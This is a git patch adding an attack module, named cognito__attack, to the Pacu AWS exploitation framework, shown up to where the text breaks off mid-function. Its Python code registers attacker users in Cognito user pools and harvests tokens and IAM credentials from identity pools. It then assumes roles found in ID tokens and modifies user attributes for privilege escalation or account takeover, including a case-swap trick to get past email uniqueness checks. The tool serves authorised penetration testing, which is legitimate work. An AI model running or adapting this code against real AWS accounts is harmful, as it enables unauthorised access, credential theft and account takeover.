From cb527475edbcc4471382775ccaf15e843b322587 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 6 Jul 2023 17:24:14 -0400 Subject: [PATCH 1/9] start --- pacu/modules/cognito__attack/main.py | 1205 ++++++++++++++++++++++++++ pacu/modules/cognito__enum/main.py | 450 ++++++++++ poetry.lock | 150 +++- pyproject.toml | 2 + requirements.txt | 195 +++-- 5 files changed, 1911 insertions(+), 91 deletions(-) create mode 100644 pacu/modules/cognito__attack/main.py create mode 100644 pacu/modules/cognito__enum/main.py diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py new file mode 100644 index 00000000..c46d91b0 --- /dev/null +++ b/pacu/modules/cognito__attack/main.py @@ -0,0 +1,1205 @@ +import base64 +import webbrowser +import qrcode +import boto3 +import pycognito +from pycognito import Cognito +from pycognito.aws_srp import AWSSRP +from pycognito.exceptions import SoftwareTokenMFAChallengeException +import argparse +from copy import deepcopy +import re + +import pacu.core +from pacu.modules.cognito__enum import main as enum_main +from pacu.core.lib import save +from botocore.exceptions import ClientError +from pacu.core.secretfinder.utils import regex_checker, Color + +# Using Spencer's iam_enum.py as a template + +module_info = { + # Name of the module (should be the same as the filename) + "name": "cognito__attack", + # Name and any other notes about the author + "author": "David Kutz-Marks of Rhino Security Labs", + # Category of the module. Make sure the name matches an existing category. + "category": "EXPLOIT", + # One liner description of the module functionality. This shows up when a user searches for modules. + "one_liner": "Attacks user pool clients and identity pools by creating users and exploiting misconfigurations.", + # Description about what the module does and how it works + "description": "Attempts to retrieve IAM credentials from identity pools, create (or log in) a Cognito user with each user pool client, search and modify custom user attributes, assume extra user roles, and obtain IAM credentials at each step to facilitate privilege escalation. A standard attack on an external AWS account requires four arguments: username, password, and user pool client or identity pool (ideally both). An attack on the current Pacu session's AWS account requires two arguments: username and password. If no other arguments are specified, cognito__enum will first be run to populate the Cognito database.", + # A list of AWS services that the module utilizes during its execution + "services": ["cognito-idp", "cognito-identity"], + # For prerequisite modules, try and see if any existing modules return the data that is required for your module before writing that code yourself; that way, session data can stay separated and modular. + "prerequisite_modules": ["cognito__enum"], + # External resources that the module depends on. Valid options are either a GitHub URL (must end in .git) or single file URL. + "external_dependencies": [], + # Module arguments to autocomplete when the user hits tab + "arguments_to_autocomplete": [ + "--regions", + "--user_pools", + "--user_pool_clients", + "--identity_pools", + "--email", + "--username", + "--password", + ], +} + +parser = argparse.ArgumentParser(add_help=False, description=module_info["description"]) +parser.add_argument( + "--email", + required=False, + default=False, + action="store", + help="Email address to receive verification code (not always needed; this is sometimes sent to username).", +) +parser.add_argument( + "--regions", + required=False, + default=None, + help="Region(s) to target. Defaults to region(s) indicated in other arguments, and to Pacu Cognito database regions if none is found. Standard format (e.g. us-west-2).", +) +parser.add_argument( + "--user_pools", + required=False, + default=False, + action="store", + help="User pool(s) to target. This will attempt to list their user pool clients and target them also. Defaults to user pools indicated in user pool clients argument, and to all session user pools if none is found. Standard format of REGION_GUID (e.g. us-west-2_uS2erhWzQ).", +) +parser.add_argument( + "--user_pool_clients", + required=False, + default=False, + action="store", + help="User pool client(s) to target. Defaults to all session user pool clients. Format: ClientID@UserPoolID (e.g. 1june8@us-west-2_uS2erhWzQ).", +) +parser.add_argument( + "--identity_pools", + required=False, + default=False, + action="store", + help="Identity pool(s) to target. Defaults to all session identity pools. Standard format of 'REGION:GUID' and requires the single quotes due to colon (e.g. 'us-east-1:7dbbvc22-b905-4d75-9b2a-54ade5132076').", +) +parser.add_argument( + "--username", + required=False, + default=False, + action="store", + help="Username for sign-up or login. Defaults to testuser.", +) +parser.add_argument( + "--password", + required=False, + default=False, + action="store", + help="Password for sign-up or login. Defaults to TesPas808@!.", +) + + +ARG_FIELD_MAPPER = { + "email": "Email", + "user_pool_clients": "UserPoolClients", + "user_pools": "UserPools", + "identity_pools": "IdentityPools", + "username": "Username", + "password": "Password", +} + + +def main(args, pacu_main): + attack_users = [] + all_new_regions = [] + attack_user_pool_clients = [] + + session = pacu_main.get_active_session() + args = parser.parse_args(args) + print = pacu_main.print + fetch_data = pacu_main.fetch_data + get_regions = pacu_main.get_regions + + up_clients = [] + identity_pools = [] + + if args.username is False: + args.username = "testuser" + + if args.password is False: + args.password = "TesPas808@!" + + if not args.user_pools and not args.user_pool_clients and not args.identity_pools: + if not args.regions: + regions = get_regions("cognito-idp") + if regions is None or regions == [] or regions == "" or regions == {}: + print( + "This module is not supported in any regions specified in the current session's region set. Exiting..." + ) + return + else: + print("Using all session regions: " + ", ".join(regions)) + else: + regions = args.regions.split(",") + print("Using regions: " + ", ".join(regions)) + print( + "No user pools, user pool clients, or identity pools specified. Using all user pool clients in Pacu session database." + ) + if ( + fetch_data( + ["Cognito", "UserPools"], + module_info["prerequisite_modules"][0], + f"--regions {','.join(regions)}", + ) + is False + ): + print("Pre-req module failed, exiting...") + return + if ( + fetch_data( + ["Cognito", "UserPoolClients"], + module_info["prerequisite_modules"][0], + f"--regions {','.join(regions)}", + ) + is False + ): + print("Pre-req module failed, exiting...") + return + if ( + fetch_data( + ["Cognito", "IdentityPools"], + module_info["prerequisite_modules"][0], + f"--regions {','.join(regions)}", + ) + is False + ): + print("Pre-req module failed, exiting...") + return + up_clients = [ + client + for client in session.Cognito["UserPoolClients"] + if client["Region"] in regions + ] + cognito_identity_pools = session.Cognito["IdentityPools"] + + if args.identity_pools: + cognito_identity_pools = [] + if not args.regions: + regions = [] + for identity_pool in args.identity_pools.split(","): + new_identity_pool = {} + region = identity_pool.split(":")[0] + new_identity_pool["Region"] = region + new_identity_pool["IdentityPoolId"] = identity_pool + identity_client = pacu_main.get_boto3_client("cognito-identity", region) + try: + print("Attempting unauthenticated retrieval of identity Id credentials") + identity_id = identity_client.get_id(IdentityPoolId=identity_pool) + identity_creds = identity_client.get_credentials_for_identity( + IdentityId=identity_id["IdentityId"] + ) + if identity_creds["Credentials"]["AccessKeyId"] is not None: + print("Access Key ID found.") + print(identity_creds["Credentials"]["AccessKeyId"]) + new_identity_pool["AccessKeyId"] = identity_creds["Credentials"][ + "AccessKeyId" + ] + if identity_creds["Credentials"]["SecretKey"] is not None: + print("Secret Key found.") + new_identity_pool["SecretKey"] = identity_creds["Credentials"][ + "SecretKey" + ] + print(identity_creds["Credentials"]["SecretKey"]) + if identity_creds["Credentials"]["SessionToken"] is not None: + print("Session Token found.") + new_identity_pool["SessionToken"] = identity_creds["Credentials"][ + "SessionToken" + ] + print(identity_creds["Credentials"]["SessionToken"]) + if identity_creds["Credentials"]["Expiration"] is not None: + print("Expiration found.") + new_identity_pool["Expiration"] = identity_creds["Credentials"][ + "Expiration" + ] + print(identity_creds["Credentials"]["Expiration"]) + except ClientError as error: + code = error.response["Error"]["Code"] + if code == "UnauthorizedOperation": + print(" Access denied to GetId or GetCredentialsForIdentity.") + else: + print(" " + code) + print(" Skipping identity pool enumeration...") + + cognito_identity_pools.append(new_identity_pool) + + if args.user_pools: + if not args.regions: + regions = [] + for user_pool in args.user_pools.split(","): + region = user_pool.split("_")[0] + client = pacu_main.get_boto3_client("cognito-idp", region) + response = None + next_token = None + while response is None or next_token is not None: + if next_token is None: + try: + print( + f"Trying to list original user pool clients for UserPoolId: {user_pool} in region {region}" + ) + response = client.list_user_pool_clients( + UserPoolId=user_pool, MaxResults=60 + ) + + for user_pool_client in response["UserPoolClients"]: + client_info = {} + print("User pool client found.") + client_info["ClientId"] = user_pool_client["ClientId"] + client_info["UserPoolId"] = user_pool_client["UserPoolId"] + client_info["Region"] = region + up_clients.append(client_info) + attack_user_pool_clients.append(client_info) + + if "NextToken" in response: + next_token = response["NextToken"] + + except ClientError as error: + code = error.response["Error"]["Code"] + print(response) + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListUserPoolClients.") + break + elif code == "InvalidParameterException": # Add this block + print(" InvalidParameterException") + print(f" UserPoolId causing the issue: {user_pool}") + break + else: + print(" " + code) + print(" Skipping user pool client enumeration...") + break + else: + try: + print( + f"Trying to list else-block user pool clients for UserPoolId: {user_pool}" + ) + response = client.list_user_pool_clients( + NextToken=next_token, UserPoolId=user_pool, MaxResults=60 + ) + + for user_pool_client in response["UserPoolClients"]: + client_info = {} + print("User pool client found.") + client_info["ClientId"] = user_pool_client["ClientId"] + client_info["UserPoolId"] = user_pool_client["UserPoolId"] + client_info["Region"] = region + up_clients.append(client_info) + attack_user_pool_clients.append(client_info) + + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListUserPoolClients.") + elif code == "InvalidParameterException": # Add this block + print(" InvalidParameterException") + print(f" UserPoolId causing the issue: {user_pool}") + break + else: + print(" " + code) + print(" Skipping user pool client enumeration...") + break + + if "NextToken" in response: + print("NextToken found.") + next_token = response["NextToken"] + else: + print("No NextToken found.") + break + + print( + f" {len(up_clients)} user pool client(s) found in user pool {user_pool}." + ) + + if args.user_pool_clients: + for up_client in args.user_pool_clients.split(","): + if "@" not in up_client: + print( + 'ERROR: User pool client names must be in the format "ClientID@UserPoolID" (e.g. 1june8@us-west-2_uS2erhWzQ).' + ) + return {"error": "invalid usage"} + up_clients.append( + { + "ClientId": up_client.split("@")[0], + "UserPoolId": up_client.split("@")[1], + "Region": up_client.split("@")[1].split("_")[0], + } + ) + attack_user_pool_clients.append( + { + "ClientId": up_client.split("@")[0], + "UserPoolId": up_client.split("@")[1], + "Region": up_client.split("@")[1].split("_")[0], + } + ) + + for up_client in up_clients: + print( + "Attempting to sign up user in user pool client " + + up_client["ClientId"] + + " in region " + + up_client["Region"] + + " . . . " + ) + attack_user = {} + attack_user["Tokens"] = {} + attack_user["Credentials"] = {} + aws = [] + aws2session = "" + qr_img = [] + tokens = [] + client = pacu_main.get_boto3_client("cognito-idp", up_client["Region"]) + identity_client = pacu_main.get_boto3_client( + "cognito-identity", up_client["Region"] + ) + response = sign_up( + client, args.email, up_client["ClientId"], args.username, args.password + ) + if response is True or "exists" in str(response): + if response is True: + tokens = verify( + client, + args.username, + up_client["ClientId"], + up_client["UserPoolId"], + up_client["Region"], + ) + all_new_regions.append(up_client["Region"]) + elif "exists" in str(response): + print("User exists") + try: + aws = AWSSRP( + username=args.username, + password=args.password, + pool_id=up_client["UserPoolId"], + client_id=up_client["ClientId"], + client=client, + ) + tokens = aws.authenticate_user() + if "AuthenticationResult" in tokens: + print("You're signed in as " + args.username + "!") + print( + "Your access token is: " + + tokens["AuthenticationResult"]["AccessToken"] + ) + print( + "Your ID token is: " + tokens["AuthenticationResult"]["IdToken"] + ) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print( + "Your token type is: " + + tokens["AuthenticationResult"]["TokenType"] + ) + attack_user["Username"] = args.username + attack_user["Region"] = up_client["Region"] + attack_user["UserPoolId"] = up_client["UserPoolId"] + attack_user["ClientId"] = up_client["ClientId"] + attack_user["Tokens"]["AccessToken"] = tokens[ + "AuthenticationResult" + ]["AccessToken"] + attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"][ + "IdToken" + ] + attack_user["Tokens"]["RefreshToken"] = tokens[ + "AuthenticationResult" + ]["RefreshToken"] + attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ + "TokenType" + ] + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + if credentials is not False: + print("Temporary credentials retrieved!") + print(credentials) + attack_user["Credentials"]["AccessKeyId"] = credentials[ + "AccessKeyId" + ] + attack_user["Credentials"]["SecretKey"] = credentials[ + "SecretKey" + ] + attack_user["Credentials"]["SessionToken"] = credentials[ + "SessionToken" + ] + attack_user["Credentials"]["Expiration"] = credentials[ + "Expiration" + ] + new_tokens, new_credentials = get_custom_attributes( + client, + tokens, + args.password, + up_client["Region"], + up_client["ClientId"], + up_client["UserPoolId"], + cognito_identity_pools, + identity_client, + ) + attack_user["NewTokens"] = new_tokens + attack_user["NewCredentials"] = new_credentials + roles = get_assumable_roles( + tokens["AuthenticationResult"]["IdToken"] + ) + attack_user["NewRoleTokens"] = prompt_assume_roles(client, roles) + if attack_user["NewRoleTokens"] is not None: + print( + "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." + ) + new_role_credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + attack_user["NewRoleTokens"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + attack_user["NewRoleCredentials"] = new_role_credentials + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + continue + except SoftwareTokenMFAChallengeException as error: + code = input( + "Please enter the MFA code generated by your application: " + ) + tokens = aws.respond_to_software_token_mfa_challenge(code) + if tokens["ChallengeName"] == "MFA_SETUP": + try: + print("First, we need to set up an MFA application.") + associate_token_response = client.associate_software_token( + Session=tokens["Session"] + ) + qr_img = qrcode.make( + f"otpauth://totp/{args.username}?secret={associate_token_response['SecretCode']}" + ) + qr_img.save("qr.png") + print( + "A QR code has been generated for you. Please scan it with your MFA application." + ) + try: + webbrowser.open("qr.png") + except: + print( + "Something went wrong when opening the file. Note that this cannot be done as root. Please manually open qr.png in the working directory to scan the QR code." + ) + continue + + mfa_code = input( + "Please enter the MFA code generated by your application: " + ) + verify_software_token_response = client.verify_software_token( + Session=associate_token_response["Session"], UserCode=mfa_code + ) + print("Now that an MFA application is set up, let's sign in again.") + print( + "You will have to wait for a NEW MFA code to appear in your MFA application." + ) + try: + aws2 = AWSSRP( + username=args.username, + password=args.password, + pool_id=up_client["UserPoolId"], + client_id=up_client["ClientId"], + client=client, + ) + tokens = aws2.authenticate_user() + except SoftwareTokenMFAChallengeException as error: + try: + code = input( + "Please enter the MFA code generated by your application: " + ) + print("Entering final MFA challenge") + error_string = str(error) + aws2session = re.search(r"'Session': '(.*?)'", error_string) + if aws2session: + aws2sessionfinal = aws2session.group(1) + else: + print("NO MATCH FOUND") + continue + + tokens = client.respond_to_auth_challenge( + ClientId=up_client["ClientId"], + ChallengeName="SOFTWARE_TOKEN_MFA", + Session=aws2sessionfinal, + ChallengeResponses={ + "USERNAME": args.username, + "SOFTWARE_TOKEN_MFA_CODE": code, + }, + ) + except ClientError as err: + print(err) + continue + print("You're signed in as " + args.username + "!") + print( + "Your access token is: " + + tokens["AuthenticationResult"]["AccessToken"] + ) + print( + "Your ID token is: " + tokens["AuthenticationResult"]["IdToken"] + ) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print( + "Your token type is: " + + tokens["AuthenticationResult"]["TokenType"] + ) + attack_user["Username"] = args.username + attack_user["Region"] = up_client["Region"] + attack_user["UserPoolId"] = up_client["UserPoolId"] + attack_user["ClientId"] = up_client["ClientId"] + attack_user["Tokens"]["AccessToken"] = tokens[ + "AuthenticationResult" + ]["AccessToken"] + attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"][ + "IdToken" + ] + attack_user["Tokens"]["RefreshToken"] = tokens[ + "AuthenticationResult" + ]["RefreshToken"] + attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ + "TokenType" + ] + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + if credentials is not False: + print("Temporary credentials retrieved!") + print(credentials) + attack_user["Credentials"]["AccessKeyId"] = credentials[ + "AccessKeyId" + ] + attack_user["Credentials"]["SecretKey"] = credentials[ + "SecretKey" + ] + attack_user["Credentials"]["SessionToken"] = credentials[ + "SessionToken" + ] + attack_user["Credentials"]["Expiration"] = credentials[ + "Expiration" + ] + new_tokens, new_credentials = get_custom_attributes( + client, + tokens, + args.password, + up_client["Region"], + up_client["ClientId"], + up_client["UserPoolId"], + cognito_identity_pools, + identity_client, + ) + attack_user["NewTokens"] = new_tokens + attack_user["NewCredentials"] = new_credentials + roles = get_assumable_roles( + tokens["AuthenticationResult"]["IdToken"] + ) + attack_user["NewRoleTokens"] = prompt_assume_roles(client, roles) + if attack_user["NewRoleTokens"] is not None: + print( + "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." + ) + new_role_credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + attack_user["NewRoleTokens"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + attack_user["NewRoleCredentials"] = new_role_credentials + if new_tokens is None: + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data[ + "UserAttributes" + ] + attack_users.append(attack_user) + if new_tokens is not None: + attack_user_data = client.get_user( + AccessToken=new_tokens["AuthenticationResult"][ + "AccessToken" + ] + ) + attack_user["UserAttributes"] = attack_user_data[ + "UserAttributes" + ] + attack_users.append(attack_user) + exit + + except ClientError as err: + print(err) + continue + elif tokens["ChallengeName"] == "SOFTWARE_TOKEN_MFA": + code = input( + "Please enter the MFA code generated by your application: " + ) + tokens = client.verify_software_token( + Session=associate_token_response["Session"], UserCode=mfa_code + ) + print("You're signed in as " + args.username + "!") + print( + "Your access token is: " + + tokens["AuthenticationResult"]["AccessToken"] + ) + print("Your ID token is: " + tokens["AuthenticationResult"]["IdToken"]) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print( + "Your token type is: " + tokens["AuthenticationResult"]["TokenType"] + ) + attack_user["Username"] = args.username + attack_user["Region"] = up_client["Region"] + attack_user["UserPoolId"] = up_client["UserPoolId"] + attack_user["ClientId"] = up_client["ClientId"] + attack_user["Tokens"]["AccessToken"] = tokens["AuthenticationResult"][ + "AccessToken" + ] + attack_user["Tokens"]["IdToken"] = tokens["AuthenticationResult"][ + "IdToken" + ] + attack_user["Tokens"]["RefreshToken"] = tokens["AuthenticationResult"][ + "RefreshToken" + ] + attack_user["Tokens"]["TokenType"] = tokens["AuthenticationResult"][ + "TokenType" + ] + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + if credentials is not False: + print("Temporary credentials retrieved!") + print(credentials) + attack_user["Credentials"]["AccessKeyId"] = credentials[ + "AccessKeyId" + ] + attack_user["Credentials"]["SecretKey"] = credentials["SecretKey"] + attack_user["Credentials"]["SessionToken"] = credentials[ + "SessionToken" + ] + attack_user["Credentials"]["Expiration"] = credentials["Expiration"] + new_tokens, new_credentials = get_custom_attributes( + client, + tokens, + args.password, + up_client["Region"], + up_client["ClientId"], + up_client["UserPoolId"], + cognito_identity_pools, + identity_client, + ) + attack_user["NewTokens"] = new_tokens + attack_user["NewCredentials"] = new_credentials + roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) + attack_user["NewRoleTokens"] = prompt_assume_roles(client, roles) + if attack_user["NewRoleTokens"] is not None: + print( + "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." + ) + new_role_credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + attack_user["NewRoleTokens"]["IdToken"], + up_client["UserPoolId"], + up_client["Region"], + ) + attack_user["NewRoleCredentials"] = new_role_credentials + attack_user_data = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + attack_user["UserAttributes"] = attack_user_data["UserAttributes"] + attack_users.append(attack_user) + break + + if regions != []: + print("Running cognito__enum again to add new users to Pacu database.") + if ( + fetch_data( + ["Cognito", "NewUsers"], + module_info["prerequisite_modules"][0], + f"--regions {','.join(regions)}", + ) + is False + ): + print("Pre-req module second attempt failed, exiting...") + + search_string = "custom" + + print(f"List all custom attributes for all users in all user pools (y/n)?") + choice = input() + if choice.lower() == "y": + for user in session.Cognito["UsersInPools"]: + if any( + search_string in attribute["Name"] for attribute in user["Attributes"] + ): + print("Custom attribute(s) found for user" + user["Username"] + "!") + print(user["Attributes"]) + + gathered_data = { + "Attack_UserPoolClients": attack_user_pool_clients, + "Attack_IdentityPools": cognito_identity_pools, + "Attack_Users": attack_users, + } + + for var in vars(args): + if var == "regions": + continue + if not getattr(args, var): + if ARG_FIELD_MAPPER[var] in gathered_data: + del gathered_data[ARG_FIELD_MAPPER[var]] + + cognito_data = deepcopy(session.Cognito) + for key, value in gathered_data.items(): + cognito_data[key] = value + session.update(pacu_main.database, Cognito=cognito_data) + + +def sign_up(client, email, client_id, username, password, user_attributes=None): + user_attributes = [] if user_attributes is None else user_attributes + print(user_attributes) + print(email) + if email is not False: + user_attributes.append({"Name": "email", "Value": email}) + try: + if user_attributes == []: + print("No user attributes specified.") + response = client.sign_up( + ClientId=client_id, Username=username, Password=password + ) + else: + print("User attributes specified.") + response = client.sign_up( + ClientId=client_id, + Username=username, + Password=password, + UserAttributes=user_attributes, + ) + print(f"Successfully signed up user {username}.") + return True + except client.exceptions.UsernameExistsException: + print(f"Username {username} already exists. Attempting to log in.") + return "exists" + except client.exceptions.InvalidParameterException as e: + error_message = str(e) + print(error_message) + if "attribute is required" in error_message: + parameter = re.search( + r"schema: (.*?): The attribute is required", error_message + ) + if parameter: + attribute_name = parameter.group(1) + prompt = f"Enter value for {attribute_name}: " + param_value = input(prompt) + user_attributes.append({"Name": attribute_name, "Value": param_value}) + return sign_up( + client, email, client_id, username, password, user_attributes + ) + else: + print(f"Required attribute: {str(e)}") + param_name = input("Please enter the name of the required attribute: ") + param_value = input( + "Please enter the value of the required attribute: " + ) + user_attributes.append({"Name": param_name, "Value": param_value}) + return sign_up( + client, email, client_id, username, password, user_attributes + ) + else: + print(f"Invalid parameter: {str(e)}") + param_name = input("Please enter the name of the invalid parameter: ") + param_value = input("Please enter the value of the invalid parameter: ") + if param_name == "Username" or "username": + return sign_up( + client, email, client_id, param_value, password, user_attributes + ) + if param_name == "Password" or "password": + return sign_up( + client, email, client_id, username, param_value, user_attributes + ) + user_attributes.append({"Name": param_name, "Value": param_value}) + return sign_up( + client, email, client_id, username, password, user_attributes + ) + except Exception as e: + print(f"Error signing up user {username}: {str(e)}") + return False + + +def verify(client, username, client_id, user_pool_id, region): + new_users = [] + prompt = ( + f"Enter verification code for user {username} in user pool client {client_id}: " + ) + code = input(prompt) + try: + response = client.confirm_sign_up( + ClientId=client_id, Username=username, ConfirmationCode=code + ) + print(f"Successfully verified user {username}") + except client.exceptions.UserNotFoundException: + print(f"User {username} not found") + return False + except client.exceptions.CodeMismatchException: + print(f"Invalid verification code {code}") + return False + except Exception as e: + print(f"Error verifying user {username}: {str(e)}") + return False + + return response + + +def get_assumable_roles(id_token): + id_token_payload = id_token.split(".")[1] + id_token_payload_decoded = str(base64.b64decode(id_token_payload + "=="), "utf-8") + roles = re.findall( + r"arn:aws:iam::\d{12}:role/[\w+=,.@-]+", id_token_payload_decoded + ) + print("This user can assume the following roles:" + str(roles)) + return roles + + +def prompt_assume_roles(client, roles): + for i, role in enumerate(roles): + print(f"{i + 1}. {role}") + choice = input('Enter the number of the role you want to assume (or "n" to skip): ') + if choice.lower() == "n": + return + try: + index = int(choice) - 1 + if 0 <= index < len(roles): + new_role = client.assume_role( + RoleArn=roles[index], RoleSessionName="PacuAssumeRole" + ) + print("Assumed role successfully.") + print("Your new credentials are:") + print(f"AccessKeyId: {client.access_key}") + print(f"SecretKey: {client.secret_key}") + print(f"SessionToken: {client.session_token}") + return new_role + else: + print("Invalid choice.") + return + except ValueError: + print("Invalid choice.") + return + + +def get_custom_attributes( + client, + tokens, + att_password, + newregion, + att_clientId, + att_userPoolId, + cognito_identity_pools, + identity_client, +): + currentuser = client.get_user( + AccessToken=tokens["AuthenticationResult"]["AccessToken"] + ) + search_string = "custom" + if any( + search_string in attribute["Name"] + for attribute in currentuser["UserAttributes"] + ): + print( + "Custom attribute(s) found! Changing these may lead to privilege escalation." + ) + else: + print("No custom attributes found.") + print( + "Changing basic attributes such as email may lead to account takeover if they are used to identify users. " + ) + print("Printing all current attributes: ") + print(currentuser["UserAttributes"]) + prompt = ( + f"Enter attribute name to modify for user" + + currentuser["Username"] + + " or hit enter to skip: " + ) + attribute_name = input(prompt) + prompt = ( + f"Enter attribute value to set for user" + + currentuser["Username"] + + " or hit enter to skip: " + ) + attribute_value = input(prompt) + if attribute_name != "" and attribute_value != "": + try: + update = client.update_user_attributes( + AccessToken=tokens["AuthenticationResult"]["AccessToken"], + UserAttributes=[ + {"Name": attribute_name, "Value": attribute_value}, + ], + ) + print("Attribute updated!") + except ClientError as error: + if attribute_name == "email" and code == "InvalidParameterException": + print( + "Error when updating email attribute. This may be because the email is already in use. Attempting to change case to bypass this defense." + ) + modified_value = attribute_value.swapcase() + try: + update = client.update_user_attributes( + AccessToken=tokens["AuthenticationResult"]["AccessToken"], + UserAttributes=[ + {"Name": attribute_name, "Value": modified_value}, + ], + ) + print("Attribute updated!") + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + print(" " + code) + print(" Skipping user attribute modification...") + else: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "InvalidParameterException": + print(" InvalidParameterException") + print(" Skipping user attribute modification...") + else: + print(" " + code) + print(" Skipping user attribute modification...") + else: + print("Attributes not updated.") + return None, None + prompt = ( + f"Authenticate again as user " + + currentuser["Username"] + + " to check for privilege escalation/account takeover? (Y/N): " + ) + choice = input(prompt) + if choice.lower() == "y": + try: + aws2 = AWSSRP( + username=currentuser["Username"], + password=att_password, + client_id=att_clientId, + pool_id=att_userPoolId, + client=client, + ) + print("Entering aws2_response area") + tokens = aws2.authenticate_user() + print("You're signed in as " + currentuser["Username"] + "!") + print( + "Your access token is: " + tokens["AuthenticationResult"]["AccessToken"] + ) + print("Your ID token is: " + tokens["AuthenticationResult"]["IdToken"]) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print("Your token type is: " + tokens["AuthenticationResult"]["TokenType"]) + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + att_userPoolId, + newregion, + ) + if credentials is not False: + print("Temporary credentials retrieved!") + print(credentials) + roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) + prompt_assume_roles(client, roles) + prompt = "Modify more custom attributes?" + choice = input(prompt) + if choice.lower() == "y": + get_custom_attributes( + client, + tokens, + att_password, + newregion, + att_clientId, + att_userPoolId, + cognito_identity_pools, + identity_client, + ) + else: + print("Exiting...") + return tokens, credentials + except SoftwareTokenMFAChallengeException as error: + try: + code = input( + "Please enter the MFA code generated by your application: " + ) + print("Entering final MFA challenge") + error_string = str(error) + aws2session = re.search(r"'Session': '(.*?)'", error_string) + if aws2session: + aws2sessionfinal = aws2session.group(1) + else: + print("NO MATCH FOUND") + return None, None + tokens = client.respond_to_auth_challenge( + ClientId=att_clientId, + ChallengeName="SOFTWARE_TOKEN_MFA", + Session=aws2sessionfinal, + ChallengeResponses={ + "USERNAME": currentuser["Username"], + "SOFTWARE_TOKEN_MFA_CODE": code, + }, + ) + print("You're signed in as " + currentuser["Username"] + "!") + print( + "Your access token is: " + + tokens["AuthenticationResult"]["AccessToken"] + ) + print("Your ID token is: " + tokens["AuthenticationResult"]["IdToken"]) + print( + "Your refresh token is: " + + tokens["AuthenticationResult"]["RefreshToken"] + ) + print( + "Your token type is: " + tokens["AuthenticationResult"]["TokenType"] + ) + credentials = get_identity_credentials( + cognito_identity_pools, + identity_client, + tokens["AuthenticationResult"]["IdToken"], + att_userPoolId, + newregion, + ) + if credentials is not False: + print("Temporary credentials retrieved!") + print(credentials) + roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) + prompt_assume_roles(client, roles) + prompt = "Modify more custom attributes?" + choice = input(prompt) + if choice.lower() == "y": + get_custom_attributes( + client, + tokens, + att_password, + newregion, + att_clientId, + att_userPoolId, + cognito_identity_pools, + identity_client, + ) + else: + print("Exiting...") + return tokens, credentials + except ClientError as err: + print(err) + return None, None + + +def get_identity_credentials( + cognito_identity_pools, + identity_client, + id_token=None, + user_pool_id=None, + region=None, +): + for identity_pool in cognito_identity_pools: + if identity_pool["Region"] == region: + try: + if id_token is None: + print("Attempting unauthenticated retrieval of identity Id") + identity_id = identity_client.get_id( + IdentityPoolId=identity_pool["IdentityPoolId"] + ) + print(f"Identity ID: {identity_id}") + if id_token is not None: + logins = { + "cognito-idp." + + region + + ".amazonaws.com/" + + user_pool_id: id_token + } + print("Attempting authenticated retrieval of identity Id") + identity_id = identity_client.get_id( + IdentityPoolId=identity_pool["IdentityPoolId"], Logins=logins + ) + print(f"Identity ID: {identity_id}") + except ClientError as error: + print("FAILURE: ") + code = error.response["Error"]["Code"] + print(" " + code) + return False + if id_token is not None: + try: + logins = { + "cognito-idp." + + region + + ".amazonaws.com/" + + user_pool_id: id_token + } + print("Attempting authenticated retrieval of temporary credentials") + identity_creds = identity_client.get_credentials_for_identity( + IdentityId=identity_id["IdentityId"], Logins=logins + ) + except error as error: + code = error.response["Error"]["Code"] + if code == "UnauthorizedOperation": + print(" Access denied to GetId or GetCredentialsForIdentity.") + else: + print(" " + code) + print(" Skipping identity pool enumeration...") + else: + try: + print( + "Attempting unauthenticated retrieval of identity Id credentials" + ) + identity_creds = identity_client.get_credentials_for_identity( + IdentityId=identity_id["IdentityId"] + ) + except error as error: + code = error.response["Error"]["Code"] + if code == "UnauthorizedOperation": + print(" Access denied to GetId or GetCredentialsForIdentity.") + else: + print(" " + code) + print(" Skipping identity pool enumeration...") + if identity_creds["Credentials"]["AccessKeyId"] is not None: + print("Access Key ID found.") + identity_pool["AccessKeyId"] = identity_creds["Credentials"][ + "AccessKeyId" + ] + print(identity_pool["AccessKeyId"]) + if identity_creds["Credentials"]["SecretKey"] is not None: + print("Secret Key found.") + identity_pool["SecretKey"] = 